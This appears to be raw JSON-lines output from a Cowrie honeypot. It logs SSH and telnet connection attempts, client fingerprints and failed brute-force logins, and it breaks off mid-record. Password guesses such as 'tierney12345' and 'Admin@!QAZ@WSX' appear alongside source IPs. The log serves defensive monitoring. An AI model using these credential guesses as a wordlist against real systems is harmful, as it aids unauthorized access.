{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:50:cf:74:1d:7e:31:03:4e:f5:53:87:cb:53:09:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQOgYXBc7Ct2Aj7xoURXRTIhKJ9AHcATg4xWizBdtcfLfe9C8HwNyJSN70M0utlnko/dnxtZ0mF+6ynHbVhHIng+sv9vhQfLSa2psCHb/Y4yG9F7gPJEU2PZRUuEMoisAZnwuII4wdoyNlEok70nN5WvYGvjVdWAVDiMb7DcPn50aUZ3LJkIQijPM70TjicRJyxOuFwrG5CzEYbh28IAL/X4kP1VDZuJ3x4ihpdJPKLUDXr+/TVsc0NuhpvYgOsJv9BCg32gkdemC0aTDGdgLj/YE0f/Xbcv7tHRW3+O4JRo2tjojm1oUKjc2x0wPEAQKRkmwbpKRDvyNK8WPz+Qqx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:50:cf:74:1d:7e:31:03:4e:f5:53:87:cb:53:09:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.882653Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:50:cf:74:1d:7e:31:03:4e:f5:53:87:cb:53:09:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQOgYXBc7Ct2Aj7xoURXRTIhKJ9AHcATg4xWizBdtcfLfe9C8HwNyJSN70M0utlnko/dnxtZ0mF+6ynHbVhHIng+sv9vhQfLSa2psCHb/Y4yG9F7gPJEU2PZRUuEMoisAZnwuII4wdoyNlEok70nN5WvYGvjVdWAVDiMb7DcPn50aUZ3LJkIQijPM70TjicRJyxOuFwrG5CzEYbh28IAL/X4kP1VDZuJ3x4ihpdJPKLUDXr+/TVsc0NuhpvYgOsJv9BCg32gkdemC0aTDGdgLj/YE0f/Xbcv7tHRW3+O4JRo2tjojm1oUKjc2x0wPEAQKRkmwbpKRDvyNK8WPz+Qqx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.888859Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:be:73:c0:d4:65:82:0b:34:fb:00:d1:f1:49:14:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQOLNMRAxjw+37nXivPRN5Ma+n4q6wn2UH8vU1nZzGNQpbmU8SD61tV26eYh1XZrq7NNGFn00rbQknyT24DlqHOXZasx4zLXm3kxoUIRk4f82oxgOjU0EKPKPfAwpNUFthe6Q9IfUgDtGKIBXuSanBLg4j4fjwWOOBk55gTRMr8sfWMtT7xD12BzcNj62XjiyxdOZU1ZUvibgQcbRboyNZMK3a9jFbowiLc3pZgq9drtDW8w5MbUPhKZWK49mT+5gIQqq1PKP56M+BoRE/N4QO4Qk8m0Q4qLsUBihUiRFeG4v0N9vcSd9iuze751zPKWwOfuWV1xoYRo1ljxLZ20Z/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:be:73:c0:d4:65:82:0b:34:fb:00:d1:f1:49:14:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.982380Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:be:73:c0:d4:65:82:0b:34:fb:00:d1:f1:49:14:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQOLNMRAxjw+37nXivPRN5Ma+n4q6wn2UH8vU1nZzGNQpbmU8SD61tV26eYh1XZrq7NNGFn00rbQknyT24DlqHOXZasx4zLXm3kxoUIRk4f82oxgOjU0EKPKPfAwpNUFthe6Q9IfUgDtGKIBXuSanBLg4j4fjwWOOBk55gTRMr8sfWMtT7xD12BzcNj62XjiyxdOZU1ZUvibgQcbRboyNZMK3a9jFbowiLc3pZgq9drtDW8w5MbUPhKZWK49mT+5gIQqq1PKP56M+BoRE/N4QO4Qk8m0Q4qLsUBihUiRFeG4v0N9vcSd9iuze751zPKWwOfuWV1xoYRo1ljxLZ20Z/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.986740Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:e5:ec:e4:76:9c:a1:a7:6d:bf:bf:dd:7e:10:50:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzhDC0q1u2UWg82XmGRgoqC8hyI9+2+3B+n2e/m7Y7EBW2er5tGltN7zK6XCkc42uHq0HhirL1uIzYbBLMgA52yXJDRbQJMogjON2uuhpyU0u56cAdPRyjyjNre70TJVp6Lb2Y0uQDLitRILKoWzr64SplYREvi1tB+fLXqOQKBVNceFGNScPs0h6K51zbUZbJQwg2KNVNJP4x1CFTCdlfHziRmIntcpURh2Rgb2le+8QxZjYT0ljHQ6f3LVew2rOyhedKsA4F4LwT7jBnL0FCIozFXV/HCGfaWZBtAfK0o4FOrsxsoAUFeHIIfS0jdku0NDSrZM8R+O7FcJCD3jS4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:e5:ec:e4:76:9c:a1:a7:6d:bf:bf:dd:7e:10:50:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.078734Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:e5:ec:e4:76:9c:a1:a7:6d:bf:bf:dd:7e:10:50:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzhDC0q1u2UWg82XmGRgoqC8hyI9+2+3B+n2e/m7Y7EBW2er5tGltN7zK6XCkc42uHq0HhirL1uIzYbBLMgA52yXJDRbQJMogjON2uuhpyU0u56cAdPRyjyjNre70TJVp6Lb2Y0uQDLitRILKoWzr64SplYREvi1tB+fLXqOQKBVNceFGNScPs0h6K51zbUZbJQwg2KNVNJP4x1CFTCdlfHziRmIntcpURh2Rgb2le+8QxZjYT0ljHQ6f3LVew2rOyhedKsA4F4LwT7jBnL0FCIozFXV/HCGfaWZBtAfK0o4FOrsxsoAUFeHIIfS0jdku0NDSrZM8R+O7FcJCD3jS4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.083767Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:26:8a:66:36:f1:34:97:7e:15:f8:48:3a:71:9c:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG+tKa36+UTJ8qzL7o4Ok9sXkAUHew7j9mdGdZIeky1uZ2VfcK61/EYTdjIKYvN94Q+1qWwFVyNFPvWN/5OyWxfv+p5naGWi3fVDkzXuH1LVQjILqmMnNt0NUMnrYfdOxUPMOW7z0Acj6F503QvffFAvt1k4vLjjvlci8tZKpYu5WuUs0mt/wpuWj+AOcUf/M2cj6H49BSS10vibt7aCvtqxfRj8jzMLaR7EfDdMdcTYgtStQhUq+COg059hFvecFhafSPLHxqV9KjNgAndMs/f5nzX6V9klz9slbsLXk7B0YdUFcpfkPrL9zWTaAk1Jn0HXm3xEtSO2q90CErslRone1hm+YY+yvrWYhSqTZ7HLxrtouFJq7JSayHi9GpupbUAeqjFnVN94l62jpAcv10WVsmWcEMLPoQtltYs11uM5vLqvRuQDqgQzweYV3BiH67mA9cxO4bxcBmr+mwi6ftLhBstlz0RSpXbOuMzAX5WKPgC3dIPwIWn0vpMub41wuIZ2otc5voRRkttLdtjJKWftgGLCE+aGz/7T9z7WagbWm6r2HPhhHEwmXsm3ndeta3RnPOaR0WK2iHTAKLQ3SflF+/3D2Iyb1p+DIGMSSl9jKmr5HFyHXmXpAXJxVt7JAvMWkxsTGaBgHenpTKI6cOAJYJJayd5Q/4Lk3ZUizynQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:26:8a:66:36:f1:34:97:7e:15:f8:48:3a:71:9c:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.181033Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:26:8a:66:36:f1:34:97:7e:15:f8:48:3a:71:9c:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG+tKa36+UTJ8qzL7o4Ok9sXkAUHew7j9mdGdZIeky1uZ2VfcK61/EYTdjIKYvN94Q+1qWwFVyNFPvWN/5OyWxfv+p5naGWi3fVDkzXuH1LVQjILqmMnNt0NUMnrYfdOxUPMOW7z0Acj6F503QvffFAvt1k4vLjjvlci8tZKpYu5WuUs0mt/wpuWj+AOcUf/M2cj6H49BSS10vibt7aCvtqxfRj8jzMLaR7EfDdMdcTYgtStQhUq+COg059hFvecFhafSPLHxqV9KjNgAndMs/f5nzX6V9klz9slbsLXk7B0YdUFcpfkPrL9zWTaAk1Jn0HXm3xEtSO2q90CErslRone1hm+YY+yvrWYhSqTZ7HLxrtouFJq7JSayHi9GpupbUAeqjFnVN94l62jpAcv10WVsmWcEMLPoQtltYs11uM5vLqvRuQDqgQzweYV3BiH67mA9cxO4bxcBmr+mwi6ftLhBstlz0RSpXbOuMzAX5WKPgC3dIPwIWn0vpMub41wuIZ2otc5voRRkttLdtjJKWftgGLCE+aGz/7T9z7WagbWm6r2HPhhHEwmXsm3ndeta3RnPOaR0WK2iHTAKLQ3SflF+/3D2Iyb1p+DIGMSSl9jKmr5HFyHXmXpAXJxVt7JAvMWkxsTGaBgHenpTKI6cOAJYJJayd5Q/4Lk3ZUizynQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.185286Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:0d:32:12:83:1e:ef:22:36:6e:8b:43:56:83:18:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZAfSN0h6JGBCoRj0yU7HICRvaOAN37UUshVrjaJA27oSXOnHFmMFuU+90IIB+FEjcesj2n540Tn9JidytULMCQJDXH3GftkO+rtCGXS2C87+MVjZORQ+JouSJLYqX2ZT8ENGK3zdYYAtyT8q6267nbWqlB2mHgjDIuwy8EcGeA4xi4hsYxDViVuiH1H1lo9Z1ROEqJYvUptZCXXVKtnRre4liC09Vu7TUPz5YjBD7eFj+PY90VF5fvqrlcLHgmfoEWkPR2TLDASMzpyL6RBwtWD6IywjWx05W+boXpQOBhmcZuZ4iAbs6MtlBCCMjbcfWglLyPxs/AgpdfyPPixIQVmGGwsZE4QLJfd+udaNr18eu3Si8H4B7A4lY4VLMSAG5FzhGM1n7auxSor877V67VnEM1KfPhbr8KBSdWtWYKgN8PlELFAqgqzWOTEqbDWCLgbDm5Qp9fbNmiF1SteIh4RsgclpORdUyl56nzho0yxgJxWvZv3hRcPEQvTJzCu+zgFnWQ3CU7xdUzMPknPvkTDZjK6FT7HxwwZXdd9gvVLMQB8+G+SX4AarpkrZhLb4NFemBF6d9A2xQlrDg7CEy4qU28G5nVtntbJsfpvm6kLdRU4LnMwAnc23phZ3j22CNk9uGhr7GWvxRI3Bx+zQPHqRjaRD7d7vgf4Iy4J/CSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:0d:32:12:83:1e:ef:22:36:6e:8b:43:56:83:18:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.275388Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:0d:32:12:83:1e:ef:22:36:6e:8b:43:56:83:18:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZAfSN0h6JGBCoRj0yU7HICRvaOAN37UUshVrjaJA27oSXOnHFmMFuU+90IIB+FEjcesj2n540Tn9JidytULMCQJDXH3GftkO+rtCGXS2C87+MVjZORQ+JouSJLYqX2ZT8ENGK3zdYYAtyT8q6267nbWqlB2mHgjDIuwy8EcGeA4xi4hsYxDViVuiH1H1lo9Z1ROEqJYvUptZCXXVKtnRre4liC09Vu7TUPz5YjBD7eFj+PY90VF5fvqrlcLHgmfoEWkPR2TLDASMzpyL6RBwtWD6IywjWx05W+boXpQOBhmcZuZ4iAbs6MtlBCCMjbcfWglLyPxs/AgpdfyPPixIQVmGGwsZE4QLJfd+udaNr18eu3Si8H4B7A4lY4VLMSAG5FzhGM1n7auxSor877V67VnEM1KfPhbr8KBSdWtWYKgN8PlELFAqgqzWOTEqbDWCLgbDm5Qp9fbNmiF1SteIh4RsgclpORdUyl56nzho0yxgJxWvZv3hRcPEQvTJzCu+zgFnWQ3CU7xdUzMPknPvkTDZjK6FT7HxwwZXdd9gvVLMQB8+G+SX4AarpkrZhLb4NFemBF6d9A2xQlrDg7CEy4qU28G5nVtntbJsfpvm6kLdRU4LnMwAnc23phZ3j22CNk9uGhr7GWvxRI3Bx+zQPHqRjaRD7d7vgf4Iy4J/CSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.279917Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:21.374085Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":8814,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85a31fb7d73","protocol":"ssh","message":"New connection: 213.209.159.56:8814 (159.203.135.109:22) [session: b85a31fb7d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:44.450723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:44.455917Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:44.538534Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney","message":"login attempt [tierney/tierney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:44.939257Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney1","message":"login attempt [tierney/tierney1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:46.024566Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney123","message":"login attempt [tierney/tierney123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:47.109258Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney1234","message":"login attempt [tierney/tierney1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:48.193655Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney12345","message":"login attempt [tierney/tierney12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:49.278027Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:01:50.363239Z","src_ip":"213.209.159.56","session":"b85a31fb7d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":33866,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cfea228f57f","protocol":"ssh","message":"New connection: 87.106.44.172:33866 (10.17.0.5:22) [session: 8cfea228f57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:02:42.254200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:02:42.258912Z","src_ip":"87.106.44.172","session":"8cfea228f57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:02:42.362701Z","src_ip":"87.106.44.172","session":"8cfea228f57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz!@#123","message":"login attempt [root/qaz!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:02:42.772302Z","src_ip":"87.106.44.172","session":"8cfea228f57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:02:43.857136Z","src_ip":"87.106.44.172","session":"8cfea228f57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39142,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8fcc82e8be","protocol":"ssh","message":"New connection: 103.15.226.202:39142 (10.17.0.5:22) [session: 9c8fcc82e8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:00.493727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:00.498630Z","src_ip":"103.15.226.202","session":"9c8fcc82e8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:00.751896Z","src_ip":"103.15.226.202","session":"9c8fcc82e8be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@!QAZ@WSX","message":"login attempt [root/Admin@!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:01.511027Z","src_ip":"103.15.226.202","session":"9c8fcc82e8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:02.773108Z","src_ip":"103.15.226.202","session":"9c8fcc82e8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.88.82.244","src_port":41742,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b65c36dbe2","protocol":"telnet","message":"New connection: 178.88.82.244:41742 (10.17.0.5:23) [session: d9b65c36dbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:04.632790Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.46.116","src_port":38830,"dst_ip":"10.17.0.5","dst_port":22,"session":"874db345117e","protocol":"ssh","message":"New connection: 103.149.46.116:38830 (10.17.0.5:22) [session: 874db345117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:05.599364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:05.605265Z","src_ip":"103.149.46.116","session":"874db345117e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sh